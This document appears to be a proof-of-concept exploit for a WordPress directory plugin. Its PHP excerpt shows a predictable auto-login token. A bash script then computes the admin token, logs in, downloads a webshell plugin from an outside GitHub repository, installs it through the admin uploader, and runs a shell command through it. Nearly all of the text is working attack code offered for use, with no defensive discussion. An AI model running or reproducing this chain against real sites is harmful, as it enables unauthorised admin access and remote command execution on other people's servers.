function wdk_generate_auto_login_link( $user_id = null ) {
    $token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
    
    $login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
    return $login_url;
}

add_action( 'init', function () {
    if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
        $user_id = (int) $_GET['user_id'];
        $token = sanitize_text_field( $_GET['token'] );
        
        if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
            
            wp_set_auth_cookie( $user_id );
            wp_redirect( home_url() );
            exit;
        } else {
            wp_die( 'Wrong token.' );
        }
    }
});

substr(md5($user_id), 0, 10)

#!/bin/bash

TARGET="https://examplesite.com"

echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"

echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"

echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip

echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"

echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
  -F "_wpnonce=$INSTALL_NONCE" \
  -F "pluginzip=@/tmp/webshell.zip" \
  -F "install-plugin-submit=Install Now" \
  "$TARGET/wp-admin/update.php?action=upload-plugin")

if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
    echo "[+] Plugin installed successfully"
else
    echo "[-] Installation may have failed. Checking response..."
    echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi

echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")

if [ -n "$WEBSHELL_RESPONSE" ]; then
    echo "[+] Webshell is accessible!"
    echo "[+] Response:"
    echo "$WEBSHELL_RESPONSE"
else
    echo "[-] Webshell may not be accessible or returned empty response"
fi

# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"